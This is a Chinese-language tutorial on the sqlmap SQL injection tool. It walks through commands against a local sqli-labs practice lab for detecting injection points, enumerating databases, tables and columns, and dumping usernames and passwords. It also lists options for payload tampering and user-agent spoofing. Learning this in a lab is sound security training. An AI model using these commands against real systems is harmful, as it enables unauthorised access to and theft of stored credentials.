sqlmap操作指南
本文介绍了SQLMap工具的基本使用指令,包括检测注入点、查询数据库信息以及常用参数的说明。主要指令涵盖:1)使用"--batch"检测注入点;2)"--dbs"查询所有数据库;3)"--tables"查看指定数据库表;4)"--columns"查看表字段;5)"--dump"导出数据。文中提供了完
-
基本指令
1.检测「注入点」
格式:sqlmap -u 'http://xx/?id=1' --batch
--batch是使用默认设置
完整例子:sqlmap -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' --batch

找到漏洞后可进行精确查询--technique提高速度
2.查看所有「数据库」
格式:sqlmap -u 'http://xx/?id=1' --dbs --batch --technique=T
完整例子:sqlmap -u 'http://localhost:8080/sqli-labs-master/Less-8/?id=1' --dbs --batch --technique=T

3.查看「数据表」
格式:sqlmap -u 'http://xx/?id=1' -D DB --tables --batch --technique=T
完整例子:sqlmap -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security --tables --batch --technique=T

4.查看「字段」
格式:sqlmap -u 'http://xx/?id=1' -D DB -T TBL --columns --batch --technique=T
完整例子:sqlmap -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users --columns --batch --technique=T

5.查看「数据」
格式:sqlmap -u 'http://xx/?id=1' -D DB -T TBL -C "COL1,COL2" --dump --batch --technique=T
完整例子:sqlmap -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users -C "username,password" --dump --batch ---technique=T

-
常用参数
|
-h, --help |
显示帮助文档 |
|
-u URL, --url=URL |
对指定 url 进行扫描 |
|
-r REQUEST_FILE |
REQUEST_FILE 为包含 HTTP 请求的数据包文件,可以从 Burp 中导出 |
|
--data=DATA |
指定 POST 数据(如’password=text’(在password测试注入点(password=test仅为占位符,sqlmap 会自动替换为测试 payload))) |
|
--dbs |
查询数据库 |
|
--tables |
查询表 |
|
--columns |
查询字段 |
|
--dump |
转储数据 |
|
-D DB |
指定数据库名 |
|
-T TBL |
指定表名 |
|
-C COL |
指定字段名 |
|
--users |
查询数据库用户 |
|
--privileges |
查询用户权限 |
|
--threads=NUM |
设置线程数,可根据电脑性能和网络状态在 NUM 处指定数字,在 Bool 盲注时可提高速度 |
|
--user-agent=AGENT |
自定义 User-Agent |
|
--random-agent |
随机选择 User-Agent |
|
--tamper=TAMPER |
指定 Tamper 对 Payload 进行处理,可指定多个 Tamper,之间用逗号分隔 |
|
--technique |
精确查询(=U(联合查询注入(Union-based));=E(报错查询注入(Error-based));=B(布尔盲注(Boolean-based blind));=T(时间盲注(Time-based blind))) |
|
--risk |
决定 sqlmap 测试的攻击性与潜在破坏性,取值范围1~3(默认1) |
|
--level |
--level参数决定 sqlmap 测试的全面性(哪些参数、哪些位置会被测试),取值范围1~5(默认1) |
更多推荐


所有评论(0)